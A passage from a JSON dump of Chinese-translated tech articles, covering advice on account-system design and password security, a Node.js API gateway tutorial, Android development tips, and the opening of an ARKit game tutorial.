提供商，那么千万不要设置密码，这样对每个人都有好处。\n\n这个主意并不像它听起来那么愚蠢。你已经向用户询问他们的电子邮箱了，你所应该在你的登录系统上添加的第一个功能就是用户忘记密码后该如何恢复，你可以通过电子邮件给用户发送一个可点击的链接。这样，只要用户能够使用该邮箱就能够登录你的系统，而你的网站密码也用不着增加额外的安全性。\n\n我们跳过这一步，直接进入下一步，取而代之的——你的登录系统可以变得更简单，只需通过邮件向用户发送一封包含了登录cookie的链接，用户只需点击链接便能登录。[Medium.com 便是如此](https://blog.medium.com/signing-in-to-medium-by-email-aacc21134fcd)。\n\n通过这种方法，只要用户的设备装有电子邮件客户端，就能够登录。对于台式机、笔记本电脑、手机和平板来说也是如此。对于游戏机和电视来说可能行不通，不过你的目标用户可能不是这些人群。其中的匹配过程最好用蓝牙的方式，因为这些设备没有方便使用的键盘。\n\n过去常常有这样的说法：缺少密码输入框会使用户感到不自在。而现代的谷歌登录体验正是如此，他们仅仅要求用户输入他们的电子邮箱地址，所以用户并不会感到有什么不自在，而且这么做还大有好处。\n\n而这种方法还有个好处：有些人只有电话号码而没有电子邮箱。在发展中国家尤其如此，所以如果这些国家的用户是你的网站的潜在目标市场的话，最终你可能要支持仅能通过手机接受验证码的方式登录。这样的账户根本就不需要密码，如果你所有的用户都有密码，那么你需要返回并为安全敏感的代码路径添加许多特殊的情况（这很容易导致致命的错误）。\n\n### 4. 不要使用密保问题\n\n如果你就是想使用密码——大概你懒得向你的老板解释为什么你这么特立独行，那么请至少不要让用户通过密保问题来找回他们的密码。\n\n- 密保问题常常被猜测。用户很难想出那些只有他们知道而其他人答不出来的问题。\n- 预设的问题使得猜测的现象更加严重\n- 预设问题往往带有文化差异，从而使得它们对于许多用户并不友好（例如：『你们高中学校的吉祥物是什么？』）。\n- 一些『精明』的用户意识到他们不能想出一个难以猜测的答案，所以仅仅在这个位置填入密码，导致了他们在忘记密码时无法恢复。\n- 还有一堆的高端黑客，会在密码恢复流程上做点文章，你可不希望这事发生在你身上吧。\n\nGoogle 曾经在密保问题上遇到过严重的问题。[这是我的几位老同事发表的研究](https://security.googleblog.com/2015/05/new-research-some-tough-questions-for.html)，值得一看（视频在下面，来自 youtube，需要翻墙）。\n\n[![](https://i.ytimg.com/vi_webp/h8YwQvJm7rk/maxresdefault.webp)](https://www.youtube.com/embed/h8YwQvJm7rk)\n\n一场在谷歌进行的关于密保问题和答案的谈话\n\n这是一些问答的例子：\n\n- **问：你最喜欢的食物是？答：披萨。**答案常常是披萨。仅仅通过猜出这个问题的答案，你就能破解大约 20% 的说英语的用户。再添加十个猜测选项，你就能破解三分之一的设置了这个问题的用户。而对于韩国用户，你可以用 10 个以内的选项破解 43% 的用户。\n- **问：你是在星期几结的婚？答：星期四** 是用户自定义的问题，但却有个致命的缺陷 —— 一般攻击者只需要尝试 5 次，就能破解正确答案。而这还不至于被检测为暴力破解。\n- **问：我是在哪个城市出生的？答：首尔**在一些国家里，大多数人会聚居在少数的几个大城市里。观察 ID 验证用户界面所使用的语言，可大大缩小可能的城市列表。通过这个问题，你能够破解 40% 的用户。\n- **问：我的第一位老师叫什么名字？答：Mr Smith， Smith， John， John S. Smith，JOHN SMITH， Jon Smth。** 这些都是正确答案，但是却不能正确通过。我为这些问题提供了模糊匹配的模式，因为用户的答案总是差那么一点儿。匹配逻辑通常需要了解一些问题背景（『编辑距离』算法本身不足以满足诸如街道地址等的情况）。你还得让你的产品支持多语言，祝你好运吧。\n\n专业的账户系统是不会单独使用密保问题来允许用户恢复密码的。它仅仅只是一种参考。我只给予你小于 2% 的机会去通过一个足够复杂的机制来获得这个权利。这就是为什么 Google 逐步淘汰密保问题而采用短信的方式来恢复密码。当然短信恢复自身也存在一些问题，但相比于密保问题还是好很多的。\n\n### 5. 避免使用验证码\n\n验证码是许多登录表单的常见功能。我在 Google 期间也做了一些相关的工作。但是，在如今验证码几乎没有什么价值，而且执行率非常之低。\n\n![](https://cdn-images-1.medium.com/max/1600/1*_RLdNjTDj6VzHRsIit5ODg.gif)\n\n这些验证码都无济于事。\n\n首先要正确理解验证码的作用，它们仅仅对自动化攻击施加非常简单的限制。他们并不会保护你的账户系统免于批量注册的风险。除了账户安全，我还花了几年时间研究 Google 的注册滥用。我们亲眼看到垃圾邮件发送者轻松地解决了数千万个那些我们认为很难的验证码。有那些专业处理验证码的公司，如 [DeathByCaptcha](http://www.deathbycaptcha.com/user/login)，他们使用的是光学字符识别和人工识别。普通的验证码让盲人用户无法进行注册，这确实是个问题。而基于语音的验证识别对于机器很容易，对人来说却很困难。\n\n使用验证码阻止暴力破解密码是很有帮助的。暴力破解一个账户的密码，可能需要成百上千次的尝试，一个简单的方法来阻止这种现象是在他们经过了几次失败的尝试之后就开始加入验证码。在机械的循环中，即使是使用一个简单的验证码来延缓进程也足够了。\n\n对于阻止批量账户注册，验证码却不太管用。建立一个系统去检测和阻止这类现象是另一桩工作，在这方面我也花了好几年的时间。你可以大致了解一下这有多困难，登录 [buyaccs.com](http://buyaccs.com) 并对比一下黑市账户销售商收取的巨大差价。防御系统较好的网站的账户通常会收取更高的价格。除非你是 Big 5 之一，不然在注册安全方面，你所做的不可能超过我们，这也是我建议你将登录系统外包给那几家主要的公司的另一个原因。\n\n如果你**仍然**想要使用验证码，请使用 [reCAPTCHA](https://www.google.com/recaptcha/intro/) 并确保你的验证码放置在了适当的位置，以免重放攻击。不要尝试使用你自己制作的或是你在 GitHub 上找到的工具包，这样的验证码很容易被现代的光学字符识别所解决，除了降低客户注册的成功率之外并没有什么用处。\n\n### 6. 外包双因子验证\n\n![](https://cdn-images-1.medium.com/max/1200/1*GmSsoIZQN49cIBMeNDoYlA.png)\n\n如今双因子验证是一个很常见的功能。然而，把它做好却是很困难的，而且花费不菲，你不会想自己动手去实现它的。\n\n- 短信是不稳定的，特别是在有些国家，恢复码常常不能显示。你最终可能会选择语音合成的电话，因为电话更加稳定一些，而现在你又需要考虑多语种的语音合成引擎了。\n- 大量的短信或电话将会是一笔大的开销，即使你能通过大批量获得优惠。\n- 人们可能常常会更换电话号码。如果你的密码恢复流程是基于电子邮件地址的，那么这个过程将会变得很容易。但是一旦你的系统引入了稳定的双因子认证，密码恢复将变成你系统中的一个漏洞。如果你不去修复它，攻击者将会很轻松地进行破解。而如果你尝试阻止它也并不会起作用。\n- 双因子验证会被攻击者滥用，他们将它添加到钓鱼或者黑入的账户里。这是为了在执行恶意活动期间，防止真正的用户取回该账号。\n- 电话号码很容易受到移植攻击，所以如今的趋势是要求用户设置移动应用或安全密钥。为了实现这项措施意味着更多的工作，当然，这两项可能都不管用，所以你最终还是需要一些客户支持流程来帮助他们恢复。\n- 如你所见，双因子验证增加了大量客户的手动操作，因为你不再使用密保问题或电子邮件的方式恢复用户的密码了。而这个开销很大。\n\n其中一些问题是很根本的，但是大多数已经有人帮你解决了，他们将免费为你支付电话费和客户支持人员\n\n不过，如果你仍然不想使用他们提供的服务，那么还有一些创业公司可以为你解决小部分的双因子验证难题。\n\n### 7. 不要强制用户更改密码\n\nTroy 已经把这一点解释的很好了，我这里就不再赘述，但还要再强调一遍，这很重要。不要仅仅是因为用户的密码已经使用一段时间了，就让用户更改密码。\n\n- 一些用户可能无法通过这个流程，从而导致你流失一部分用户。\n- 用户可比你聪明，他们会更改密码（一次、两次、三次），然后立即将其更改为旧密码，这意味着你得存储最近密码的历史记录以防止此类行为。但我敢打赌，你不会这样做的。\n- 这样并不会增加安全性。\n\n### 8. 不要为会话设置有效期\n\n是的，这又是个不好的『最佳实践』。人们常常会为会话 cookie 设置有效期，觉得这样做增加了安全性，出于同样的原因，人们会认为为密码设置有效期也会增加安全性。\n\n- 攻击者往往会立即进行恶意活动，所以设置有效期并没有多大用处。\n- 会话有效期这一设置使得用户习惯于意料之外的密码提示，这使得他们非常容易被欺骗。\n- 存储有效期的随机性会产生大量的 bug，导致了你的开发人员将大量的时间花在了修复 bug 上。你的网站的大部分代码应该不能处理这种，在一个操作中途，使用的会话过期了的情况，所以你必须返回去修复它，前提是你能够发现的话。而由于用户报告的随机性，这使得追踪错误变得更加困难了。\n\n### 9. 记得登出\n\n在不成熟的账户系统中，登出错误是非常常见的。这听起来很简单，但是实现这一功能的公认方法，是有缺陷的。\n\n- 简单地删除会话的 cookie 对用户来说是方便的，但是这意味着你在遭受『跨站脚本攻击』后无法恢复。一旦发现『跨站脚本攻击』，你会希望，让可能被盗取的会话 cookie 无效，但是如果登出只是『要求浏览器删除 cookie』，那么这样做是不行的。\n- 将时间戳添加到会话 cookie，然后设置『最后登出时间』，每个操作都需要检查帐户数据库，以了解用户的会话是否过旧。这可能会导致操作响应变慢，意味着开发人员将要对此进行优化（毕竟这似乎也没什么）。但是如果他们移除了对攻击者感兴趣的一个端口的检查，那么你在第一步中遇到问题将会再次出现。另外，这意味着退出一个浏览器或设备，就会将所有用户登出，这不是预期的行为。\n\n正确的方法是使用内存中缓存来保存过期会话 cookie 的列表。但是，对于大多数公司来说，有个成本更低而且足够好的替代方案：让用户的退出链接仅仅当作是清除会话 cookie 的一种方式，紧接着可以让会话 cookie 过期，并且每隔5分钟自动更新。替换过期会话 cookie 的行为可以通过查询数据库，以查看管理员是否强制注销了该账户。如果用户显示的是过期的 cookie，则需要重新登录。这就意味着 cookie 清理之后就不太可能被盗用了。\n\n### 10. 从营销邮件中分离帐号电子邮件\n\n![](https://cdn-images-1.medium.com/max/1600/1*kg2ZRHcCDGJ83rEz8D7saA.png)\n\n一般我们会用公司的主要电子邮箱服务器来给用户发送恢复密码链接、登录验证等信息。然而，贵公司的一些人却会通过给用户发送那些他们不想收到的商业邮件与用户建立『联系』。\n\n即使用户同意在帐号注册期间收到这类信息，但其中大部分用户却不想再收到这样的信息，有些人甚至会将其举报为垃圾邮件。那些精明的用户知道，这是一个极其方便的解决方案，仅仅简单地点击『举报垃圾邮件』，就能让这些令人讨厌的电子邮件消失，而不必把精力花费在寻找用微小字体写着的『取消订阅』链接，或是劳神费力地写电子邮件过滤器。\n\n而不幸的是，这类行为将会降低你的电子邮件域名的信誉。从你的帐户系统发送的邮件最终很可能会进入用户的垃圾邮件文件夹。我们在注册或进行密码恢复的流程中，都能看到这类让我们检查垃圾邮件文件夹的提示 —— 就是这个原因。\n\n解决这个问题的一种方法是，购买单独的顶级域名来发送邮件，并确保符合电子邮件验证标准。但是，一些用户可能会注意到域名不匹配，从而将你的电子邮件举报为网络钓鱼。最佳方案是使用不同电子邮件验证标准的域名发送你的营销邮件，但你的产品人员可能不认可。所以，还是那句话，你选择自己干的那一刻，也同时承担了痛苦。\n\n### 11. 保护好你的密码数据库\n\n一旦你拥有了密码，你的数据库就成了攻击者的目标（而且他们常常能得手）。他们对你的公司并不感兴趣，他们只是想要密码，以方便他们尝试那些更高价值目标。所以，数据泄露是个严重的问题，也许对客户的直接影响没那么大，但有可能导致严重的后果。而使用 OAuth 协议的数据库对于攻击者来说却没什么价值， 因此不太可能受到攻击。\n\n### 结论\n\n关于帐户系统我还能写好多东西。保护你的网站，使其免受恶意帐户入侵或注册，这方面内容可以单独写成一本书了。这书我写不了，不过如果你有兴趣的话，可以看看这个视频，这是我在 [2012 年的一次访谈](https://www.youtube.com/watch?v=XwsaZ4-3muA)。\n\n老实说，这看似是一个浩大的工程，实则并非如此。所以我一直建议你要硬着头皮坚持做下去，并且把你的账户管理外包给那些大公司。因为，你的主要业务并不是去操心怎样摆弄验证码、不是怎样写『登出』的设计文档、不是诊断为什么你会流失那些忘记密码的用户、也不是去考虑为什么发送信息到秘鲁会不稳定。你在这些事情上花费的每一分钱，对于那些提供了『使用第三方登录』的竞争对手来说，他们将这些钱都花在了他们的核心业务上。\n\n所以，不要回头看了，放弃你的密码数据库吧。\n  \n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n  \n\n\n\n"
  },
  {
    "path": "TODO/building-an-api-gateway-using-nodejs.md",
    "content": "\n  > * 原文地址：[Building an API Gateway using Node.js](https://blog.risingstack.com/building-an-api-gateway-using-nodejs/)\n  > * 原文作者：[Péter Márton](https://twitter.com/slashdotpeter)\n  > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n  > * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/building-an-api-gateway-using-nodejs.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-an-api-gateway-using-nodejs.md)\n  > * 译者：[MuYunyun](https://github.com/MuYunyun)\n  > * 校对者：[jasonxia23](https://github.com/jasonxia23)、[CACppuccino](https://github.com/CACppuccino)\n\n  # 使用 Node.js 搭建一个 API 网关\n\n  外部客户端访问微服务架构中的服务时，服务端会对认证和传输有一些常见的要求。API 网关提供**共享层**来处理服务协议之间的差异，并满足特定客户端（如桌面浏览器、移动设备和老系统）的要求。\n\n# 微服务和消费者\n\n微服务是面向服务的架构，团队可以独立设计、开发和发布应用程序。它允许在系统各个层面上的**技术多样性**，团队可以在给定的技术难题中使用最佳语言、数据库、协议和传输层，从而受益。例如，一个团队可以使用 HTTP REST 上的 JSON，而另一个团队可以使用 HTTP/2 上的 gRPC 或 RabbitMQ 等消息代理。\n\n在某些情况下使用不同的数据序列化和协议可能是强大的，但要使用我们的产品的**客户**可能**有不同的需求**。该问题也可能发生在具有同质技术栈的系统中，因为客户可以从桌面浏览器通过移动设备和游戏机到遗留系统。一个客户可能期望 XML 格式，而另一个客户可能希望 JSON 。在许多情况下，您需要同时支持它们。\n\n当客户想要使用您的微服务时，您可以面对的另一个挑战来自于通用的**共享逻辑**（如身份验证），因为您不想在所有服务中重新实现相同的事情。\n\n总结：我们不想在我们的微服务架构中实现我们的内部服务，以支持多个客户端并可以重复使用相同的逻辑。这就是 **API 网关**出现的原因，其作为**共享层**来处理服务协议之间的差异并满足特定客户端的要求。\n\n# 什么是 API 网关？\n\nAPI 网关是微服务架构中的一种服务，它为客户端提供共享层和 API，以便与内部服务进行通信。API 网关可以进行**路由请求**、转换协议、**聚合数据**以及**实现共享逻辑**，如认证和速率限制器。\n\n您可以将 API 网关视为我们的微服务世界的**入口点**。\n\n我们的系统可以有一个或多个 API 网关，具体取决于客户的需求。例如，我们可以为桌面浏览器、移动应用程序和公共 API 提供单独的网关。\n\n![API Gateway](https://blog-assets.risingstack.com/2017/07/api-gateway-1.png)\n\n**API 网关作为微服务的切入点**\n\n## Node.js 用于前端团队的 API 网关\n\n由于 API 网关为客户端应用程序（如浏览器）提供了功能，它可以由负责开发前端应用程序的团队实施和管理。\n\n这也意味着用哪种语言实现 API Gateway 应由负责特定客户的团队选择。由于 JavaScript 是开发浏览器应用程序的主要语言，即使您的微服务架构以不同的语言开发，Node.js 也可以成为实现 API 网关的绝佳选择。\n\nNetflix 成功地使用 Node.js API 网关及其 Java 后端来支持广泛的客户端 - 了解更多关于它们的方法阅读 [The \"Paved Road\" PaaS for Microservices at Netflix](https://www.infoq.com/news/2017/06/paved-paas-netflix) 这篇文章\n![](https://image.slidesharecdn.com/qconpaved-170718200756/95/paved-paas-to-microservices-7-638.jpg?cb=1500408507)\n\n**Netflix 处理不同客户端的方法, [资源](https://www.slideshare.net/yunongx/paved-paas-to-microservices)**\n\n# API 网关功能\n\n我们之前讨论过，可以将通用共享逻辑放入您的 API 网关，本节将介绍最常见的网关职责。\n\n## 路由和版本控制\n\n我们将 API 网关定义为您的微服务的入口点。在您的网关服务中，您可以指定从客户端路由到特定服务的**路由请求**。您甚至可以通过路由**处理版本**或更改后端接口，而公开的接口可以保持不变。您还可以在您的 API 网关中定义与多个服务配合的新端点。\n\n![API Gateway - Entry point](https://blog-assets.risingstack.com/2017/07/api-gateway-entrypoint-1.png)\n\n**API 网关作为微服务入口点**\n\n### 网关设计的升级\n\nAPI 网关方法也可以帮助您**分解您的整体**应用程序。在大多数情况下，在微服务端重构一个系统不是一个好主意也是不可能的，因为我们需要在重构期间为业务发送新的以及原有的功能。\n\n在这种情况下，我们可以将代理或 API 网关置于我们的整体应用程序之前，将**新功能作为微服务**实现，并将新端点路由到新服务，同时通过原有的路由服务旧端点。这样以后，我们也可以通过将原有功能转变为新服务来分解整体。\n\n随着网关设计的升级，我们可以实现整体架构到微型服务的**平滑过渡**\n\n![API Gateway - Evolutionary design](https://blog-assets.risingstack.com/2017/07/api-gateway-evolutinary-design.png)\n\n**API 网关设计的升级**\n\n## 认证\n\n大多数微服务基础设施需要进行身份验证。将**共享逻辑**（如身份验证）添加到 API 网关可以帮助您**保持您的服务的体积变小**以及**可以集中管理域**。\n\n在微服务架构中，您可以通过网络配置将您的服务保护在 DMZ **（保护区）**中，并通过 API 网关向客户**公开**。该网关还可以处理多个身份验证方法。例如，您可以同时支持基于 **cookie** 和 **token** 的身份验证。\n\n![API Gateway - Authentication](https://blog-assets.risingstack.com/2017/07/api-gateway-auth-1.png)\n\n**具有认证功能的 API 网关**\n\n## 数据汇总\n\n在微服务架构中，可能客户端所需要的数据的聚合级别不同，比如对在各种微服务中产生的**非规范化数据**实体。在这种情况下，我们可以使用我们的 API 网关来**解决**这些**依赖关系**并从多个服务收集数据。\n\n在下图中，您可以看到 API 网关如何将用户和信用信息作为一个数据返回给客户端。请注意，这些数据由不同的微服务所拥有和管理。\n\n![API Gateway - Data aggregation](https://blog-assets.risingstack.com/2017/07/api-gateway-aggregation-1.png)\n\n## 序列化格式转换\n\n我们需要支持客户端**不同的数据序列化格式**这样子的需求可能会发生。\n\n想象一下我们的微服务使用 JSON 的情况，但我们的客户只能使用 XML APIs。在这种情况下，我们可以在 API 网关中把 JSON 转换为 XML，而不是在所有的微服务器中分别进行实现。\n\n![API Gateway - Data serialization format transformation](https://blog-assets.risingstack.com/2017/07/api-gateway-format-2.png)\n\n## 协议转换\n\n微服务架构允许**多通道协议传输**从而获取多种技术的优势。然而，大多数客户端只支持一个协议。在这种情况下，我们需要转换客户端的服务协议。\n\nAPI 网关还可以处理客户端和微服务器之间的协议转换。\n\n在下一张图片中，您可以看到客户端希望通过 HTTP REST 进行的所有通信，而内部的微服务使用 gRPC 和 GraphQL 。\n\n![API Gateway - Protocol transformation](https://blog-assets.risingstack.com/2017/07/api-gateway-protocol.png)\n\n## 速率限制和缓存\n\n在前面的例子中，您可以看到我们可以把通用的共享逻辑（如身份验证）放在 API 网关中。除了身份验证之外，您还可以在 API 网关中实现速率限制，缓存以及各种可靠性功能。\n\n## 超负荷的 API 网关\n\n在实现您的 API 网关时，您应避免将非通用逻辑（如特定数据转换）放入您的网关。\n\n服务应该始终拥有他们的**数据域**的**全部所有权**。构建一个超负荷的 API 网关，让**微服务团队**来控制，这违背了微服务的理念。\n\n这就是为什么你应该关注你的 API 网关中的数据聚合 - 你应该避免它有大量逻辑甚至可以包含特定的数据转换或规则处理逻辑。\n\n始终为您的 API 网关定义**明确的责任**，并且只包括其中的通用共享逻辑。\n\n# Node.js API 网关\n\n当您希望在 API 网关中执行简单的操作，比如将请求路由到特定服务，您可以使用像 nginx 这样的**反向代理**。但在某些时候，您可能需要实现一般代理不支持的逻辑。在这种情况下，您可以在 Node.js 中**实现自己的** API 网关。\n\n在 Node.js 中，您可以使用 [http-proxy](https://www.npmjs.com/package/http-proxy) 软件包简单地代理对特定服务的请求，也可以使用更多丰富功能的 [express-gateway](http://www.express-gateway.io/) 来创建 API 网关。\n\n在我们的第一个 API 网关示例中，我们在将代码委托给 **user** 服务之前验证请求。\n\n```js\n    const express = require('express')\n    const httpProxy = require('express-http-proxy')\n    const app = express()\n\n    const userServiceProxy = httpProxy('https://user-service')\n\n    // 身份认证\n    app.use((req, res, next) => {\n      // TODO: 身份认证逻辑\n      next()\n    })\n\n    // 代理请求\n    app.get('/users/:userId', (req, res, next) => {\n      userServiceProxy(req, res, next)\n    })\n```\n\n另一种示例可能是在您的 API 网关中发出新的请求，并将响应返回给客户端：\n\n```js\n    const express = require('express')\n    const request = require('request-promise-native')\n    const app = express()\n\n    // 解决: GET /users/me\n    app.get('/users/me', async (req, res) => {\n      const userId = req.session.userId\n      const uri = `https://user-service/users/${userId}`\n      const user = await request(uri)\n      res.json(user)\n    })\n```\n\n## Node.js API 网关总结\n\nAPI 网关提供了一个共享层，以通过微服务架构来满足客户需求。它有助于保持您的服务小而专注。您可以将不同的通用逻辑放入您的 API 网关，但是您应该避免 API 网关的过度使用，因为很多逻辑可以从服务团队中获得控制。\n\n  ---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/building-android-apps-30-things-that-experience-made-me-learn-the-hard-way.md",
    "content": "> * 原文地址：[Building Android Apps — 30 things that experience made me learn the hard way](https://medium.com/@cesarmcferreira/building-android-apps-30-things-that-experience-made-me-learn-the-hard-way-313680430bf9#.6cszf7t9m)\n* 原文作者：[César Ferreira](https://medium.com/@cesarmcferreira)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [Nicolas(Yifei) Li](https://github.com/yifili09)\n* 校对者：[PhxNirvana](https://github.com/phxnirvana), [XHShirley](https://github.com/XHShirley)\n\n# 构建 Android 应用程序一定要绕过的 30 个坑\n\n来自 [https://ramotion.com](https://ramotion.com) 的惊艳设计\n\n学习领域有两类人 - 一类是那些通过艰苦努力一步一步学习的人，一类是学习别人的经验教训走捷径的人。在此，我想分享一些自己的经验给大家:\n\n\n\n\n\n\n\n1. 添加使用第三方依赖库前，请再三思考，它**绝对是一个慎重的**决定;\n2.  如果用户看不见有些界面, [**请一定不要绘制它**](http://riggaroo.co.za/optimizing-layouts-in-android-reducing-overdraw/)!;\n3. 除非**真的需要**，否则不要使用数据库;\n4. 应用程序中 65k 方法数的限制很快就能达到，我意思是真的很快！[不过 **multidexing** 能拯救你](https://medium.com/@rotxed/dex-skys-the-limit-no-65k-methods-is-28e6cb40cf71);\n5.  [RxJava](https://github.com/ReactiveX/RxJava) 是对 [AsyncTask 和其它异步任务类](https://medium.com/swlh/party-tricks-with-rxjava-rxandroid-retrolambda-1b06ed7cd29c) **最好的**替代品;\n6.  [Retrofit](http://square.github.io/retrofit/) 是目前 android **最好的处理网络事务的依赖库** \n7. 使用 [**Retrolambda**](https://medium.com/android-news/retrolambda-on-android-191cc8151f85) 来精简你的代码;\n8. [**把 RxJava 与 Retrofit 和 Retrolambda 整合在一起**](https://medium.com/swlh/party-tricks-with-rxjava-rxandroid-retrolambda-1b06ed7cd29c) 来达到最佳效果!;\n9. [EventBus](https://github.com/greenrobot/EventBus) 非常好用, 但是我**不会**使用太多因为它会让代码库变得更混乱;\n10. [按照应用功能来封装，而非所属类别](https://medium.com/the-engineering-team/package-by-features-not-layers-2d076df1964d);\n11. 把_每一个事务_都从应用程序主线程移除;\n12.  [lint](http://developer.android.com/tools/help/layoutopt.html) 这个工具能帮助优化你的界面和层级，所以你能识别出哪些是可能被移除的重复视图;\n13. 如果你正在用  _gradle_ , [尽你所能加速它的执行效率](https://medium.com/the-engineering-team/speeding-up-gradle-builds-619c442113cb);\n14. 执行一个 [Profile report / 构建分析报告](https://medium.com/the-engineering-team/speeding-up-gradle-builds-619c442113cb) 来检查下构建的过程中时间都花费在哪里了;\n15. 使用一个 [众所周知的代码架构](http://fernandocejas.com/2015/07/18/architecting-android-the-evolution/) ;\n16.  [测试会花费很多时间，一旦你被某个问题困住，你就会明白有了测试用例会让你提高开发效率并且增加应用程序的健壮性。](http://stackoverflow.com/a/67500/794485) ;\n17.  请使用 [依赖注入](http://fernandocejas.com/2015/04/11/tasting-dagger-2-on-android/) 来使你的应用程序更模块化，因此它也更加容易被测试;\n18. 收听 [Fragmented 播客](http://fragmentedpodcast.com/) 会大大帮助你;\n19. [**永远不要** 使用你的个人 email 作为 android 应用发布市场的账号名](https://www.reddit.com/r/Android/comments/2hywu9/google_play_only_one_strike_is_needed_to_ruin_you/);\n20. **请一直**使用 [合适的](http://developer.android.com/training/keyboard-input/style.html) 输入类型;\n21. 使用 **Analytics** 来查找可用的模式和分离 bug;\n22. 保持最新的 [依赖库](http://android-arsenal.com/) (使用 [dryrun](https://github.com/cesarferreira/dryrun) 来更快的测试他们);\n23. 你的服务应该尽快执行所需要的任务并且及时**被终止**;\n24. 使用 [Account Manager](http://developer.android.com/reference/android/accounts/AccountManager.html) 来提示登录的用户名和 email 地址;\n25. 使用 **CI** (持续集成) 来构建和分发你的测试和生产环境的 `apk`;\n26. 请不要建立和运行你自己的 **CI** 服务器，维护这个服务器是很耗时的，因为会有磁盘空间问题，磁盘安全性问题 / 升级服务器来避免来自 `SSL` 漏洞的攻击，等等。可以使用 `circleci`，`travis`，`shippable`，他们不是很贵并且只需要关注价格就行;\n27.  [使用 `playstore` 来自动化你的发布过程;](https://github.com/Triple-T/gradle-play-publisher)\n28. 如果一个依赖库很庞大并且你只是使用其中一小部分的功能，你应该考虑一些其他**更精简**的选择 (比如可以依赖 [proguard](http://developer.android.com/tools/help/proguard.html));\n29. 不要使用你不需要的模块。如果_那个_模块并不需要常常修改，考虑从零开始构建的时间是很重要的(使用 **CI** 构建就是一个很好的例子)，或者检查之前那个单独构建的模块是否是最新的，相比起来只是简单的装载那些二进制的 `.jar/.aar` 依赖库，它能带来 4 倍的提升;\n30. [开始考虑用 SVG 替换 PNG](http://developer.android.com/tools/help/vector-asset-studio.html);\n31. 如果你只需要改变一个地方(例如，**_AppLogger.d(“message”)_** 能包含 **_Log.d(TAG, message)_** 并且之后发现 [**_Timber.d(message)_**](https://github.com/JakeWharton/timber) 会是一个更好的解决方案)，为依赖库制作抽象的类会让切换到新库变得很容易;\n32. 监视连接状态和连接的种类 (**在 WIFI 连接状态下，是不是有更多的数据更新**?);\n33. 监视电源和电池 (**在充电的过程中，是不是有更多的数据更新？ 当电池电量低的时候，更新过程会不会被暂缓**);\n34. 如果一个笑话是需要解释才能明白的话，那肯定是一个失败的笑话，用户界面亦是如此;\n35.  [测试能带来性能的提升: 慢工出细活（并且保证内容的正确性），之后验证优化，这不会影响任何测试内容。](https://twitter.com/danlew42/status/677151453476032512)\n\n\n\n\n\n\n\n\n\n\n\n\n\n如果你对上面的建议有任何问题，请通过 tweet @[cesarmcferreira](https://twitter.com/cesarmcferreira) 告诉我!\n\n\n\n\n"
  },
  {
    "path": "TODO/building-ar-game-arkit-spritekit.md",
    "content": "> * 原文地址：[Building an AR game with ARKit and Spritekit](https://blog.pusher.com/building-ar-game-arkit-spritekit/)\n> * 原文作者：[Esteban Herrera](https://github.com/eh3rrera)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/building-ar-game-arkit-spritekit.md](https://github.com/xitu/gold-miner/blob/master/TODO/building-ar-game-arkit-spritekit.md)\n> * 译者：[Danny Lau](https://github.com/Danny1451)\n> * 校对者：[KnightJoker](https://github.com/KnightJoker),[LJ147](https://github.com/LJ147)\n\n# 巧用 ARKit 和 SpriteKit 从零开始做 AR 游戏 \n\n**这篇文章隶属于 [Pusher 特邀作者计划](https://pusher.com/guest-writer-program)。**\n\n[ARKit](https://developer.apple.com/arkit/) 是一个全新的苹果框架，它将设备运动追踪，相机捕获和场景处理整合到了一起，可以用来构建[增强现实（Augmented Reality, AR）](https://en.wikipedia.org/wiki/Augmented_reality) 的体验。\n\n在使用 ARKit 的时候，你有三种选项来创建你的 AR 世界：\n\n- SceneKit，渲染 3D 的叠加内容。\n- SpriteKit，渲染 2D 的叠加内容。\n- Metal，自己为 AR 体验构建的视图\n\n在这个教程里，我们将通过创建一个游戏来学习 ARKit 和 SpriteKit 的基础，游戏是受  Pokemon Go 的启发，添加了幽灵元素，看下下面这个视频吧：\n\n[![](https://i.ytimg.com/vi_webp/0mmaLiuYAho/maxresdefault.webp)](https://www.youtube.com/embed/0mmaLiuYAho)\n\n每几秒钟，就会有一个小幽灵随机出现在场景里，同时在屏幕的左下角会有一个计数器不停在增加。当你点击幽灵的时候，它会播放一个音效同时淡出而且计数器也会减小。\n\n项目的代码已经放在了 [GitHub](https://github.com/eh3rrera/ARKitGameSpriteKit) 上了。\n\n让我们首先检查一下开发和运行这个项目的需要哪些东西。\n\n## 你将会需要的\n\n首先，为了完整的 AR 体验，ARKit 要求一个带有 A9 或者更新的处理器的 iOS 设备。换句话说，你至少需要一台 iPhone6s 或者有更高处理器的设备，比如 iPhoneSE，任何版本的 iPad Pro，或者 2017 版的 iPad。\n\nARKit 是 iOS 11 的一个特性，所以你必须先装上这个版本的 SDK，并用 Xcode 9 来开发。在写这篇文章的时候，iOS 11 和 Xcode 9 